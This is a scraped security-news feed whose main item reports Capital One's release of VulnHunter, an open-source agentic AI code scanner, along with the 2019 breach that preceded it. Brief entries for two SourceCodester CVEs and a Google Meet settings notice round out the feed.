New Google Meet 'Take notes for me' settings for admins and end users

To help users remember to capture notes for meetings when it’s most valuable, we’re updating the admin and end user settings that let them pre-configure AI note-taking for Google Meet. | Learn more.

The announcements above were published on the Workspace Updates blog over the last week. Please refer to the original blog posts for complete details.

]]> <![CDATA[Capital One releases VulnHunter, an open-source AI tool that finds software flaws before hackers do]]> https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/ https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/ Fri, 17 Jul 2026 23:02:38 +0200 📰 IT Nachrichten tsecurity.de Capital One on Thursday released VulnHunter, an open-source, agentic AI security tool that scans source code for exploitable vulnerabilities, maps out how an attacker would reach them, and proposes targeted fixes — all before a single line ships to production. The tool, built internally and now available on GitHub under an Apache 2.0 license, is one of the most ambitious attempts by a major financial institution to turn offensive AI capabilities into a public defensive resource.

The move marks a striking philosophical turn for a company still defined, in many boardrooms, by a 2019 data breach that compromised the personal information of roughly 106 million people across the United States and Canada and ultimately cost the bank an $80 million federal fine.

Capital One is not simply releasing another vulnerability scanner. VulnHunter introduces what the company calls an "attacker-first forward analysis" — a workflow in which the tool begins at the points where a real adversary would enter a system, such as APIs, network messages, or file uploads, and reasons forward through the application's logic to determine whether an exploit path actually survives the code's existing defenses. Conventional scanners typically work in reverse, flagging a dangerous-looking code pattern and then searching backward for a hypothetical attacker. That approach, security practitioners widely acknowledge, buries engineering teams under avalanches of false positives.

VulnHunter attacks that problem head-on with a second innovation: a built-in "falsification engine" that tries to disprove its own findings before a developer ever sees them. After the tool surfaces a potential vulnerability, a structured reasoning workflow hunts for logical gaps, unsupported assumptions, and conditions that would prevent the attack from succeeding. Only findings the engine fails to rule out reach a human reviewer — and when they do, VulnHunter delivers not just an alert but a full explanation of the exploit path and a proposed code fix ready for engineering review.

The tool currently runs on Anthropic's Claude Opus 4.8 model inside a Claude Code environment, though Capital One says the framework has the potential to work across other foundation models and coding harnesses.

The 2019 breach that reshaped how Capital One thinks about cybersecurity

To understand why Capital One chose to open-source a tool this consequential, you have to understand the scar tissue.

On July 19, 2019, Capital One disclosed that an outside individual — later identified as a former Amazon Web Services employee named Paige Thompson — had gained unauthorized access to names, addresses, self-reported income, Social Security numbers, and linked bank account numbers belonging to credit card customers and applicants. The breach, which Capital One says occurred on March 22 and 23, 2019, was discovered only after an external security researcher flagged a configuration vulnerability through the company's Responsible Disclosure Program on July 17 of that year.

The damage was sweeping. Approximately 100 million people in the United States and 6 million in Canada were affected. Roughly 140,000 Social Security numbers, about 80,000 linked bank account numbers, and approximately 1 million Canadian Social Insurance Numbers were compromised. The FBI arrested Thompson, and the government stated it believed the data had been recovered with no evidence of fraud. But the reputational and regulatory toll was enormous.

In August 2020, the Office of the Comptroller of the Currency fined Capital One $80 million, finding that the bank had failed to adequately identify and manage risks as it migrated significant technology operations to the cloud. As Reuters reported at the time, the OCC's consent order cited insufficient network security controls, inadequate data loss prevention measures, and a board that failed to hold management accountable when internal auditing surfaced problems. The OCC also ordered Capital One to overhaul its operations and submit new cybersecurity plans for regulatory review.

The incident became an industry case study in the dangers of moving fast with new technology. As CyberScoop reported in July 2019, a cybersecurity executive at a competing financial company observed that the breach "could be the result of trying too many new things and forcing them through." Capital One's own CEO, Richard D. Fairbank, acknowledged the gravity of the moment. "While I am grateful that the perpetrator has been caught, I am deeply sorry for what has happened," Fairbank said at the time. "I sincerely apologize for the understandable worry this incident must be causing those affected and I am committed to making it right."

How Capital One rebuilt its security reputation through open-source investment

What followed was not a retreat from technology but a doubling down — with security explicitly at the center.

Capital One had declared itself an "open-source first" company in 2015 as part of a broader technology transformation that began over a decade ago. After the breach, the company accelerated its investments in software supply chain security, open-source governance, and AI-driven defense. In August 2022, Capital One joined the Open Source Security Foundation as a premier member, earning a seat on the organization's Governing Board. Chris Nims, then EVP of Cloud & Productivity Engineering, framed the move as a natural extension of the company's operating philosophy. "As a highly-regulated company, we are seasoned in managing compliance and governance and advocate for standardization, automation and collaboration," Nims said in the OpenSSF announcement.

Behind that public commitment lay a substantial operational apparatus. Capital One's Open Source Program Office, now in its third iteration, manages open-source usage, contributions, and community building across the enterprise. The company has released more than 25 open-source projects and made over 2,000 contributions to approximately 135 external open-source projects, according to the company's own disclosures. Those efforts address not just code dependencies but the entire software development lifecycle — DevSecOps tools, infrastructure, and the collaborative environments, both internal and external, that shape how software gets built and shipped.

Nureen D'Souza, the director who leads Capital One's OSPO, has spoken publicly about the philosophy underpinning this work. At cdCon 2022, D'Souza described a "company-wide culture with security ingrained" that allows developers to focus on innovation rather than maintenance chores, as reported by SD Times. The OSPO's charter emphasizes three pillars: standardization of open-source processes, automation of security policies throughout the delivery pipeline, and ecosystem sustainability through upstream contributions to the foundations and projects the company depends on.

VulnHunter is the most consequential product of that multi-year effort — and the clearest signal yet that Capital One views open-source collaboration not as charity but as a competitive security strategy. The company argues that modern software supply chains are so deeply interconnected that a single vulnerability in a widely used open-source component can cascade across thousands of enterprises simultaneously. Proprietary defenses, no matter how sophisticated, cannot address a problem that is fundamentally communal. By releasing VulnHunter under a permissive license, Capital One invites the global security research community to stress-test, extend, and improve the tool — effectively crowdsourcing its own defense infrastructure while strengthening the broader ecosystem.

Inside VulnHunter's three-stage AI engine for finding exploitable code

For engineering leaders evaluating VulnHunter, the technical architecture is where the tool's ambitions become concrete. The workflow unfolds in three distinct stages.

In the first stage — attacker-first forward analysis — VulnHunter begins at the points where an external adversary would interact with a system: API endpoints, network message handlers, file upload interfaces. From each entry point, the tool reasons forward through application logic, tracing data flows, transformations, and internal security checkpoints to determine whether an attacker can actually reach a dangerous code path. This approach mirrors how a skilled penetration tester would probe a system, but automates the process at a scale no human team could match.

The second stage is where VulnHunter departs most sharply from conventional scanners. After identifying a potential vulnerability, the falsification engine runs a structured reasoning workflow designed to disprove its own conclusion. It searches for assumptions that do not hold, logical gaps in the exploit path, and environmental conditions that would prevent an attack from succeeding. Findings that fail this internal challenge are discarded before any developer sees them. Capital One's explicit goal is to shift the developer's burden away from triaging false alarms — a perennial pain point that erodes trust in security tooling and slows development velocity.

In the third stage, vulnerabilities that survive the falsification engine trigger an evidence-backed remediation workflow. VulnHunter gathers supporting evidence across the codebase, maps the complete surviving exploit path, explains the defect and the specific capabilities an attacker would gain, and generates targeted code changes for engineering review. The output is not a generic advisory but a concrete, context-aware patch proposal.

Capital One says it validated VulnHunter internally before release, running it across thousands of repositories spanning tens of business areas. The company reports that the tool identified and remediated vulnerabilities with speed and efficiency that far exceeded what its teams previously achieved through manual triage.

Why AI-powered attacks are forcing banks to rethink traditional cyber defenses

VulnHunter arrives at a moment when the cybersecurity landscape is shifting beneath the feet of every enterprise. Capital One's announcement frames the urgency in stark terms: advanced AI models have "dramatically lowered the barrier for bad actors to discover and exploit vulnerabilities in software," and the window before sophisticated AI attack capabilities become affordable and accessible to virtually every adversary is shrinking rapidly.

The company's own AI security researchers have been tracking these trends closely. At NeurIPS 2024 in Vancouver, Capital One's team presented research and curated a list of nearly 100 papers spanning LLM safety, adversarial resilience, jailbreak attacks, and synthetic data generation. The papers they highlighted — including work on multi-agent defense frameworks, automated red-teaming, and guardrail classifiers — paint a picture of an arms race in which offensive and defensive AI capabilities are co-evolving at breakneck speed.

Several of those research themes map directly onto VulnHunter's architecture. The falsification engine echoes the adversarial defense strategies explored in papers like "BackdoorAlign," which demonstrated that embedding a structured safety mechanism into a small number of training examples could recover a model's safety alignment without degrading performance. The attacker-first forward analysis reflects the philosophy of "WildTeaming," a framework that collects and analyzes real-world jailbreak attempts to build more resilient models. And VulnHunter's emphasis on minimizing false positives parallels the goals of "GuardFormer," a guardrail classifier that outperformed GPT-4 on safety benchmarks while running 14 times faster.

The thread connecting all of this work is a conviction that traditional, reactive security — monitoring networks, patching known vulnerabilities, responding to incidents after they occur — is no longer sufficient when adversaries can use AI to discover and exploit zero-day vulnerabilities at machine speed. The only durable defense, Capital One argues, is to find and fix the vulnerabilities in your own code before attackers find them first.

What Capital One's cloud security journey reveals about the entire banking industry

Capital One's arc from breach victim to open-source security contributor also illuminates a broader reckoning across financial services. When Capital One moved aggressively to Amazon Web Services in the mid-2010s, it was a rarity among major banks. Most financial institutions simply did not trust third parties to store their most sensitive data. Capital One's CIO at the time, Rob Alexander, publicly championed the cloud as more secure than the bank's own data centers — a claim that the 2019 breach complicated considerably.

The CyberScoop report from that period captured the tension within the industry. W. Patrick Opet, managing director of cybersecurity at JP Morgan Chase, described a cultural shift in banking from prioritizing traders to prioritizing developers: "Now, it's 'Focus on the developer, turn everything into code, and automate everything.'" Mark Nicholson, Deloitte's cyber leader for the financial industry, noted that the pressure to move quickly was exposing "weaknesses in the development methodology." And the breach itself was a reminder that even as Chase spent $600 million annually on cybersecurity, relatively simple vulnerabilities — like the Apache Struts bug that enabled the Equifax breach — could undercut massive investments in data protection.

Seven years later, the industry has largely followed Capital One into the cloud, and the security challenges have only intensified. The question is no longer whether to use cloud infrastructure but how to secure the software that runs on it. VulnHunter represents Capital One's answer: rather than relying solely on network-level controls and perimeter defenses, push security directly into the code itself, at the moment it is written. The open-source release also carries implicit competitive pressure. If VulnHunter gains traction among developers and security teams, it could set a new baseline for what enterprise security tooling is expected to do — and force rival banks, fintechs, and cloud providers to match or exceed its capabilities.

Whether VulnHunter lives up to that ambition will depend on adoption, community engagement, and the tool's real-world performance against the increasingly sophisticated AI-powered attacks it was designed to counter. But the release itself tells a story that extends well beyond any single tool or any single company. In 2019, a misconfigured firewall exposed 100 million records and turned Capital One into a cautionary tale about the cost of moving fast without moving carefully. In 2026, the same institution is open-sourcing the kind of AI-driven defense it wishes it had built sooner — and betting that the best way to protect its own code is to help the entire industry protect theirs.

]]> <![CDATA[I replaced my space heater and ceiling fan with one Dyson appliance]]> https://tsecurity.de/de/3676769/it-nachrichten/i-replaced-my-space-heater-and-ceiling-fan-with-one-dyson-appliance/ https://tsecurity.de/de/3676769/it-nachrichten/i-replaced-my-space-heater-and-ceiling-fan-with-one-dyson-appliance/ Fri, 17 Jul 2026 20:02:57 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[CVE-2022-3585 | SourceCodester Simple Cold Storage Management System 1.0 Contact Us /csms/?page=contact_us cross-site request forgery (EUVD-2022-42949)]]> https://tsecurity.de/de/3676679/sicherheitsluecken/cve-2022-3585-sourcecodester-simple-cold-storage-management-system-10-contact-us-csmspagecontactus-cross-site-request-forgery-euvd-2022-42949/ https://tsecurity.de/de/3676679/sicherheitsluecken/cve-2022-3585-sourcecodester-simple-cold-storage-management-system-10-contact-us-csmspagecontactus-cross-site-request-forgery-euvd-2022-42949/ Fri, 17 Jul 2026 19:26:17 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de SourceCodester Simple Cold Storage Management System 1.0 and classified as problematic. This issue affects some unknown processing of the file /csms/?page=contact_us of the component Contact Us. The manipulation leads to cross-site request forgery. This vulnerability is listed as CVE-2022-3585. The attack may be initiated remotely. In addition, an exploit is available.]]> <![CDATA[CVE-2022-3587 | SourceCodester Simple Cold Storage Management System 1.0 My Account First Name cross site scripting (EUVD-2022-42951)]]> https://tsecurity.de/de/3676677/sicherheitsluecken/cve-2022-3587-sourcecodester-simple-cold-storage-management-system-10-my-account-first-name-cross-site-scripting-euvd-2022-42951/ https://tsecurity.de/de/3676677/sicherheitsluecken/cve-2022-3587-sourcecodester-simple-cold-storage-management-system-10-my-account-first-name-cross-site-scripting-euvd-2022-42951/ Fri, 17 Jul 2026 19:26:15 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de problematic has been found in SourceCodester Simple Cold Storage Management System 1.0. Affected by this vulnerability is an unknown functionality of the component My Account. The manipulation of the argument First Name results in cross site scripting. This vulnerability is known as CVE-2022-3587. It is possible to launch the attack remotely. Furthermore, an exploit is available.]]> <![CDATA[Middle Rage - Social Media and the War on Democracy (emf2026)]]> https://tsecurity.de/de/3676645/it-security-video/middle-rage-social-media-and-the-war-on-democracy-emf2026/ https://tsecurity.de/de/3676645/it-security-video/middle-rage-social-media-and-the-war-on-democracy-emf2026/ Fri, 17 Jul 2026 19:19:21 +0200 đŸŽ„ IT Security Video tsecurity.de